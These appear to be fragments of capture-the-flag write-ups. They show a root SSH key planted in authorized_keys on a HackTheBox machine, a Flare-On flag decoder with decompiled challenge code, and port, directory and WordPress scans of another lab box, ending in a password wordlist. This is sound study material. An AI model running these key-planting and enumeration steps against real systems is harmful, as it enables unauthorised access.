HTTP request sent, awaiting response... 200 OK
Length: 568 [application/octet-stream]

    0K                                                       100%  176.39 MB/s

09:24:58 (176.39 MB/s) - `/root/.ssh/authorized_keys' saved [568/568]

xbytemx@laptop:~/.ssh$ ssh -i id_rsa root@10.10.10.3
Last login: Tue Nov  5 09:06:12 2019 from :0.0
Linux lame 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have new mail.
root@lame:~#

root@lame:~# cat /home/makis/user.txt

root@lame:~# cat /root/root.txt

import struct
buf = struct.pack ("37B", *[
0xaf,0xaa,0xad,0xeb,0xae,0xaa,0xec,0xa4,0xba,0xaf,0xae,
0xaa,0x8a,0xc0,0xa7,0xb0,0xbc,0x9a,0xba,0xa5,0xa5,0xba,
0xaf,0xb8,0x9d,0xb8,0xf9,0xae,0x9d,0xab,0xb4,0xbc,0xb6,
0xb3,0x90,0x9a,0xa8])
buf = buf[::-1]

flag=''
shift = 0
l_acomulada = 0


for d in range(len(buf)):
    l = (buf[d] - ((1 << shift) & 0xff) - 1) ^ 0xc7
    flag += chr(l)

    l_acomulada += buf[d]
    shift = l_acomulada & 3

print(flag)

xbytemx@laptop:~/flare-on2015/1/$ cabextract Flare-On_start_2015.exe
Extracting cabinet: Flare-On_start_2015.exe
  extracting i_am_happy_you_are_to_playing_the_flareon_challenge.exe

All done, no errors.

#include <stdbool.h>
#include <stdint.h>
#include <stdlib.h>
#include <windows.h>
int32_t entry_point(void);
char *g1 = "\x1f\x08\x13\x13\x04\x22\x0e\x11\x4d\x0d\x18\x3d\x1b\x11\x1c\x0f\x18\x50\x12\x13\x53\x1e\x12\x10";
int32_t g2 = 0;

int32_t entry_point(void) {

    int32_t * hFile2 = GetStdHandle(-10); // 0x40100b
    int32_t * hFile = GetStdHandle(-11); // 0x401016
    int32_t lpNumberOfBytesWritten; // bp-8
    WriteFile(hFile, (int32_t *)"Let's start out easy\r\nEnter the password>", 42, &lpNumberOfBytesWritten, NULL);
    ReadFile(hFile2, &g2, 50, &lpNumberOfBytesWritten NULL);
    int32_t v1 = 0; 0x40105d
    while (true) {
        char v2 = *(char *)(v1 + (int32_t)&g1); 0x401055
        if ((*(char *)(v1 + (int32_t)&g2) ^ 125) != v2) {
            // break -> 0x40107b
            break;
        }
        int32_t v3 = v1 + 1; // 0x40105d
        if (v3 >= 24) {
            // 0x401063
            return WriteFile(hFile, (int32_t *)"You are success\r\n", 18, &lpNumberOfBytesWritten, NULL);
        }
        v1 = v3;
    }
    // 0x401091
    return WriteFile(hFile, (int32_t *)"You are failure\r\n", 18, &lpNumberOfBytesWritten, NULL);
}

root@laptop:~#  nmap -sS -p- --open -v -n 10.10.10.120
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-23 23:00 CST
Initiating Ping Scan at 23:00
Scanning 10.10.10.120 [4 ports]
Completed Ping Scan at 23:00, 0.44s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 23:00
Scanning 10.10.10.120 [65535 ports]
Discovered open port 995/tcp on 10.10.10.120
Discovered open port 80/tcp on 10.10.10.120
Discovered open port 993/tcp on 10.10.10.120
Discovered open port 110/tcp on 10.10.10.120
Discovered open port 143/tcp on 10.10.10.120
SYN Stealth Scan Timing: About 36.69% done; ETC: 23:01 (0:00:53 remaining)
Discovered open port 10000/tcp on 10.10.10.120
Completed SYN Stealth Scan at 23:02, 136.88s elapsed (65535 total ports)
Nmap scan report for 10.10.10.120
Host is up (0.22s latency).
Not shown: 65482 closed ports, 47 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
80/tcp    open  http
110/tcp   open  pop3
143/tcp   open  imap
993/tcp   open  imaps
995/tcp   open  pop3s
10000/tcp open  snet-sensor-mgmt

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 137.49 seconds
           Raw packets sent: 141953 (6.246MB) | Rcvd: 127712 (5.108MB)text

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-02-27 05:20:02 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131072 ports/host]
Discovered open port 80/tcp on 10.10.10.120
Discovered open port 10000/udp on 10.10.10.120
Discovered open port 995/tcp on 10.10.10.120
Discovered open port 10000/tcp on 10.10.10.120
Discovered open port 993/tcp on 10.10.10.120
Discovered open port 143/tcp on 10.10.10.120

root@laptop:~# nmap -sV -sC -p80,110,143,993,995,10000 -n 10.10.10.120
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-09 20:21 CDT
Nmap scan report for 10.10.10.120
Host is up (0.20s latency).

PORT      STATE SERVICE  VERSION
80/tcp    open  http     Apache httpd 2.4.34 ((Ubuntu))
|_http-server-header: Apache/2.4.34 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
110/tcp   open  pop3     Dovecot pop3d
|_pop3-capabilities: SASL RESP-CODES AUTH-RESP-CODE TOP PIPELINING STLS CAPA UIDL
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Not valid before: 2018-10-28T10:01:49
|_Not valid after:  2028-10-25T10:01:49
|_ssl-date: TLS randomness does not represent time
143/tcp   open  imap     Dovecot imapd (Ubuntu)
|_imap-capabilities: listed ENABLE have Pre-login post-login SASL-IR LOGIN-REFERRALS IMAP4rev1 capabilities more LITERAL+ IDLE LOGINDISABLEDA0001 STARTTLS ID OK
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Not valid before: 2018-10-28T10:01:49
|_Not valid after:  2028-10-25T10:01:49
|_ssl-date: TLS randomness does not represent time
993/tcp   open  ssl/imap Dovecot imapd (Ubuntu)
|_imap-capabilities: ENABLE post-login Pre-login have SASL-IR LOGIN-REFERRALS IMAP4rev1 capabilities more listed IDLE LITERAL+ AUTH=PLAINA0001 ID OK
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Not valid before: 2018-10-28T10:01:49
|_Not valid after:  2028-10-25T10:01:49
|_ssl-date: TLS randomness does not represent time
995/tcp   open  ssl/pop3 Dovecot pop3d
|_pop3-capabilities: SASL(PLAIN) USER AUTH-RESP-CODE TOP PIPELINING RESP-CODES CAPA UIDL
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Not valid before: 2018-10-28T10:01:49
|_Not valid after:  2028-10-25T10:01:49
|_ssl-date: TLS randomness does not represent time
10000/tcp open  http     MiniServ 1.890 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.58 seconds

xbytemx@laptop:~/htb/chaos$ http 10.10.10.120
HTTP/1.1 200 OK
Accept-Ranges: bytes
Connection: Keep-Alive
Content-Encoding: gzip
Content-Length: 84
Content-Type: text/html
Date: Sat, 13 Apr 2019 16:31:02 GMT
ETag: "49-57947aa3269e5-gzip"
Keep-Alive: timeout=5, max=100
Last-Modified: Sun, 28 Oct 2018 10:46:28 GMT
Server: Apache/2.4.34 (Ubuntu)
Vary: Accept-Encoding

<h1><center><font color="red">Direct IP not allowed</font></center></h1>

xbytemx@laptop:~/htb/chaos$ http 10.10.10.120 Host:localhost
HTTP/1.1 200 OK
Accept-Ranges: bytes
Connection: Keep-Alive
Content-Encoding: gzip
Content-Length: 84
Content-Type: text/html
Date: Sat, 13 Apr 2019 16:31:19 GMT
ETag: "49-57947aa3269e5-gzip"
Keep-Alive: timeout=5, max=100
Last-Modified: Sun, 28 Oct 2018 10:46:28 GMT
Server: Apache/2.4.34 (Ubuntu)
Vary: Accept-Encoding

<h1><center><font color="red">Direct IP not allowed</font></center></h1>

xbytemx@laptop:~/htb/chaos$ http 10.10.10.120 Host:chaos.htb
HTTP/1.1 200 OK
Accept-Ranges: bytes
Connection: Keep-Alive
Content-Encoding: gzip
Content-Length: 2225
Content-Type: text/html
Date: Sat, 13 Apr 2019 16:31:26 GMT
ETag: "1b34-5791b3cff5e80-gzip"
Keep-Alive: timeout=5, max=100
Last-Modified: Fri, 26 Oct 2018 05:46:18 GMT
Server: Apache/2.4.34 (Ubuntu)
Vary: Accept-Encoding

<!DOCTYPE html>
<html lang="en">
<head>
	<title>Chaos</title>
	<meta charset="UTF-8">
	<meta name="description" content="HALO photography portfolio template">
	<meta name="keywords" content="photography, portfolio, onepage, creative, html">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<!-- Favicon -->
	<link href="img/favicon.ico" rel="shortcut icon"/>

	<!-- Google Fonts -->
	<link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i" rel="stylesheet">

	<!-- Stylesheets -->
	<link rel="stylesheet" href="css/bootstrap.min.css"/>
	<link rel="stylesheet" href="css/font-awesome.min.css"/>
	<link rel="stylesheet" href="css/flaticon.css"/>
	<link rel="stylesheet" href="css/animate.css"/>
	<link rel="stylesheet" href="css/owl.carousel.css"/>
	<link rel="stylesheet" href="css/style.css"/>


	<!--[if lt IE 9]>
	  <script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
	  <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
	<![endif]-->

</head>
<body>
	<!-- Page Preloder -->
	<div id="preloder">
		<div class="loader"></div>
	</div>

	<!-- Header section start -->
	<header class="header-section sp-pad">
		<h3 class="site-logo">Chaos</h3>
		<form class="search-top">
			<button class="se-btn"><i class="fa fa-search"></i></button>
			<input type="text" placeholder="Search.....">
		</form>
		<div class="nav-switch">
			<i class="fa fa-bars"></i>
		</div>
		<nav class="main-menu">
			<ul>
				<li><a href="index.html">Home</a></li>
				<li><a href="about.html">about us</a></li>
				<li><a href="#">Services</a></li>
				<li><a href="hof.html">Hall of fame</a></li>
				<li><a href="blog.html">Blog</a></li>
				<li><a href="contact.html">Contact</a></li>
			</ul>
		</nav>
	</header>
	<!-- Header section end -->


	<!-- Hero section start -->
	<section class="hero-section">
		<div class="hero-slider owl-carousel">
			<div class="hs-item set-bg sp-pad" data-setbg="img/hero-slider/1.jpg">
				<div class="hs-text">
					<h2 class="hs-title">Here at Chaos</h2>
					<p class="hs-des">We <br>secure and create awesome services</p>
				</div>
			</div>
			<div class="hs-item set-bg sp-pad" data-setbg="img/hero-slider/2.jpg">
				<div class="hs-text">
					<h2 class="hs-title">Here at Chaos</h2>
					<p class="hs-des">We  <br>shield</p>
				</div>
			</div>
		</div>
	</section>
	<!-- Hero section end -->


	<!-- Intro section start -->
	<section class="intro-section sp-pad spad">
		<div class="container-fluid">
			<div class="row">
				<div class="col-xl-4 intro-text">
					<span class="sp-sub-title">Work</span>
					<h3 class="sp-title">OUR AWESOME SERVICES.</h3>
					<p>we a concentrated evaluation of your information security posture, indicating weaknesses as well as providing the appropriate mitigation procedures required to either eliminate those weaknesses or reduce them to an acceptable level of risk. Alongside vulnerability assessment we also perform distinguishable penetration testing services, this approach by a group of certified security researchers and domain experts at chaos is unique because of our intrinsic desire to see if your applications can be broken into past the normally-presented boundaries.</p>
					<a href="#" class="site-btn">Read More</a>
				</div>
				<div class="col-xl-7 offset-xl-1">
					<figure class="intro-img mt-5 mt-xl-0">
						<img src="img/intro.jpg" alt="">
					</figure>
				</div>
			</div>
		</div>
	</section>
	<!-- Intro section end -->






	<!-- Milestones section start -->
	<section class="milestones-section spad">
		<div class="container">
			<div class="row">
				<div class="col-lg-3 col-md-6 fact-box">
					<div class="fact-content">
						<i class="flaticon-gamepad"></i>
						<h2>48</h2>
						<p>VIDEO gAMES</p>
					</div>
				</div>
				<div class="col-lg-3 col-md-6 fact-box">
					<div class="fact-content">
						<i class="flaticon-trophy"></i>
						<h2>7</h2>
						<p>AWARDS WON</p>
					</div>
				</div>
				<div class="col-lg-3 col-md-6 fact-box">
					<div class="fact-content">
						<i class="flaticon-alarm-clock"></i>
						<h2>23K</h2>
						<p>Website secured</p>
					</div>
				</div>
				<div class="col-lg-3 col-md-6 fact-box">
					<div class="fact-content">
						<i class="flaticon-laptop"></i>
						<h2>19</h2>
						<p>Video tutorials</p>
					</div>
				</div>
			</div>
		</div>
	</section>
	<!-- Milestones section end -->


	<!-- Services section start -->
	<!-- Services section start end -->


	<!-- Contact section start -->
	<section class="contact-section set-bg spad" data-setbg="img/contact-bg.jpg">
		<div class="container-fluid contact-warp">
			<div class="contact-text">
				<div class="container p-0">
					<span class="sp-sub-title"></span>
					<h3 class="sp-title">Stay in touch</h3>


					<ul class="con-info">
						<li><i class="flaticon-phone-call"></i>+91 999999999</li>
						<li><i class="flaticon-envelope"></i>info@chaos.htb</li>
						<li><i class="flaticon-placeholder"></i>127.0.0.1<br> localhost, USA</li>
					</ul>
				</div>
			</div>
			<div class="container p-0">
				<div class="row">
					<div class="col-xl-8 offset-xl-4">
						<form class="contact-form">
							<div class="row">
								<div class="col-md-6">
									<input type="text" placeholder="Your name">
								</div>
								<div class="col-md-6">
									<input type="email" placeholder="E-mail">
								</div>
								<div class="col-md-12">
									<input type="text" placeholder="Subject">
									<textarea placeholder="Message"></textarea>
									<button class="site-btn light">Send</button>
								</div>
							</div>
						</form>
					</div>
				</div>
			</div>
		</div>
	</section>
	<!-- Contact section end -->


	<!-- Footer section start -->
	<footer class="footer-section spad">
		<div class="container text-center">
			<h2>Letâs work together!</h2>
			<p>info@chaos.htb</p>
			<div class="social">
				<a href="#"><i class="fa fa-pinterest"></i></a>
				<a href="#"><i class="fa fa-facebook"></i></a>
				<a href="https://twitter.com/sahay_ay"><i class="fa fa-twitter"></i></a>
				<a href="#"><i class="fa fa-dribbble"></i></a> </br>


</br>
<font color="white">
Copyright &copy;<script>document.write(new Date().getFullYear());</script> All rights reserved
</font>

			</div>
		</div>


	</footer>
	<!-- Footer section end -->


	<!--====== Javascripts & Jquery ======-->
	<script src="js/jquery-3.2.1.min.js"></script>
	<script src="js/bootstrap.min.js"></script>
	<script src="js/owl.carousel.min.js"></script>
	<script src="js/mixitup.min.js"></script>
	<script src="js/circle-progress.min.js"></script>
	<script src="js/main.js"></script>
</body>
</html>

xbytemx@laptop:~/htb/chaos$ ~/tools/gobuster -x pdf,txt,odt,html,php -u http://10.10.10.120 -w ~/git/payloads/owasp/dirbuster/directory-list-lowercase-2.3-small.txt -t 20

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.120/
[+] Threads      : 20
[+] Wordlist     : /home/xbytemx/git/payloads/owasp/dirbuster/directory-list-lowercase-2.3-small.txt
[+] Status codes : 200,204,301,302,307,403
[+] Extensions   : php,pdf,txt,odt,html
[+] Timeout      : 10s
=====================================================
2019/04/13 22:21:31 Starting gobuster
=====================================================
/index.html (Status: 200)
/wp (Status: 301)
/javascript (Status: 301)
Progress: 9352 / 81644 (11.45%)^C

xbytemx@laptop:~$ http http://10.10.10.120/wp/
HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Encoding: gzip
Content-Length: 444
Content-Type: text/html;charset=UTF-8
Date: Sun, 14 Apr 2019 05:33:51 GMT
Keep-Alive: timeout=5, max=100
Server: Apache/2.4.34 (Ubuntu)
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
 <head>
  <title>Index of /wp</title>
 </head>
 <body>
<h1>Index of /wp</h1>
  <table>
   <tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr>
   <tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/">Parent Directory</a></td><td>&nbsp;</td><td align="right">  - </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="wordpress/">wordpress/</a></td><td align="right">2013-09-25 00:18  </td><td align="right">  - </td><td>&nbsp;</td></tr>
   <tr><th colspan="5"><hr></th></tr>
</table>
<address>Apache/2.4.34 (Ubuntu) Server at 10.10.10.120 Port 80</address>
</body></html>

xbytemx@laptop:~$ http --header http://10.10.10.120/wp/wordpress/
HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Encoding: gzip
Content-Length: 18217
Content-Type: text/html; charset=UTF-8
Date: Sun, 14 Apr 2019 05:34:12 GMT
Keep-Alive: timeout=5, max=100
Link: <http://10.10.10.120/wp/wordpress/index.php/wp-json/>; rel="https://api.w.org/"
Server: Apache/2.4.34 (Ubuntu)
Vary: Accept-Encoding

xbytemx@laptop:~/git/wpscan$ wpscan --url http://10.10.10.120/wp/wordpress/
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 3.5.2
          Sponsored by Sucuri - https://sucuri.net
      @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________

[i] Updating the Database ...
[i] Update completed.

[+] URL: http://10.10.10.120/wp/wordpress/
[+] Started: Sun Apr 14 00:06:42 2019

Interesting Finding(s):

[+] http://10.10.10.120/wp/wordpress/
 | Interesting Entry: Server: Apache/2.4.34 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] http://10.10.10.120/wp/wordpress/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] http://10.10.10.120/wp/wordpress/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] http://10.10.10.120/wp/wordpress/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.9.8 identified (Insecure, released on 2018-08-02).
 | Detected By: Rss Generator (Passive Detection)
 |  - http://10.10.10.120/wp/wordpress/index.php/feed/, <generator>https://wordpress.org/?v=4.9.8</generator>
 |  - http://10.10.10.120/wp/wordpress/index.php/comments/feed/, <generator>https://wordpress.org/?v=4.9.8</generator>
 |
 | [!] 9 vulnerabilities identified:
 |
 | [!] Title: WordPress <= 5.0 - Authenticated File Delete
 |     Fixed in: 4.9.9
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9169
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20147
 |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
 |
 | [!] Title: WordPress <= 5.0 - Authenticated Post Type Bypass
 |     Fixed in: 4.9.9
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9170
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20152
 |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
 |      - https://blog.ripstech.com/2018/wordpress-post-type-privilege-escalation/
 |
 | [!] Title: WordPress <= 5.0 - PHP Object Injection via Meta Data
 |     Fixed in: 4.9.9
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9171
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20148
 |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
 |
 | [!] Title: WordPress <= 5.0 - Authenticated Cross-Site Scripting (XSS)
 |     Fixed in: 4.9.9
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9172
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20153
 |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
 |
 | [!] Title: WordPress <= 5.0 - Cross-Site Scripting (XSS) that could affect plugins
 |     Fixed in: 4.9.9
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9173
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20150
 |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
 |      - https://github.com/WordPress/WordPress/commit/fb3c6ea0618fcb9a51d4f2c1940e9efcd4a2d460
 |
 | [!] Title: WordPress <= 5.0 - User Activation Screen Search Engine Indexing
 |     Fixed in: 4.9.9
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9174
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20151
 |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
 |
 | [!] Title: WordPress <= 5.0 - File Upload to XSS on Apache Web Servers
 |     Fixed in: 4.9.9
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9175
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20149
 |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
 |      - https://github.com/WordPress/WordPress/commit/246a70bdbfac3bd45ff71c7941deef1bb206b19a
 |
 | [!] Title: WordPress 3.7-5.0 (except 4.9.9) - Authenticated Code Execution
 |     Fixed in: 4.9.9
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9222
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8942
 |      - https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/
 |
 | [!] Title: WordPress 3.9-5.1 - Comment Cross-Site Scripting (XSS)
 |     Fixed in: 4.9.10
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9230
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9787
 |      - https://github.com/WordPress/WordPress/commit/0292de60ec78c5a44956765189403654fe4d080b
 |      - https://wordpress.org/news/2019/03/wordpress-5-1-1-security-and-maintenance-release/
 |      - https://blog.ripstech.com/2019/wordpress-csrf-to-rce/

[+] WordPress theme in use: twentyseventeen
 | Location: http://10.10.10.120/wp/wordpress/wp-content/themes/twentyseventeen/
 | Last Updated: 2019-02-21T00:00:00.000Z
 | Readme: http://10.10.10.120/wp/wordpress/wp-content/themes/twentyseventeen/README.txt
 | [!] The version is out of date, the latest version is 2.1
 | Style URL: http://10.10.10.120/wp/wordpress/wp-content/themes/twentyseventeen/style.css?ver=4.9.8
 | Style Name: Twenty Seventeen
 | Style URI: https://wordpress.org/themes/twentyseventeen/
 | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Detected By: Css Style (Passive Detection)
 |
 | Version: 1.7 (80% confidence)
 | Detected By: Style (Passive Detection)
 |  - http://10.10.10.120/wp/wordpress/wp-content/themes/twentyseventeen/style.css?ver=4.9.8, Match: 'Version: 1.7'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:01 <==========================================================> (21 / 21) 100.00% Time: 00:00:01

[i] No Config Backups Found.


[+] Finished: Sun Apr 14 00:06:57 2019
[+] Requests Done: 68
[+] Cached Requests: 5
[+] Data Sent: 12.623 KB
[+] Data Received: 23.389 MB
[+] Memory used: 157.762 MB
[+] Elapsed time: 00:00:15
xbytemx@laptop:~/git/wpscan$

xbytemx@laptop:~/blog$ cewl http://10.10.10.120/wp/wordpress/index.php/2018/10/28/chaos/
CeWL 5.4.4.1 (Arkanoid) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
chaos
WordPress
site
content
Comments
wrap
entry
password
header
October
Protected
Feed
branding
Search
Recent
RSS
Really
Simple
Syndication
Powered
wordpress
Just
another
your
Password
enter
Posts
Log
org
page
http
This
protected
view
please
below
for
Skip
text
custom
masthead
Posted
human
meta
post
main
primary
Archives
Categories
Uncategorized
Meta
Entries
secondary
Proudly
powered
info
colophon
contain
RSD
state
the
art
semantic
personal
publishing
platform
index
php
Username
Email
Address
Lost
Back
Sun
Oct
hourly
https
email
Scroll
down
Author
Month
Remember
respond
feed
Sat
May
Please
username
address
You
will
receive
link
create
new
via
xbytemx@laptop:~/htb/chaos$ cewl http://10.10.10.120/wp/wordpress/ | grep -v "robin@digi.ninja" > postpass.dic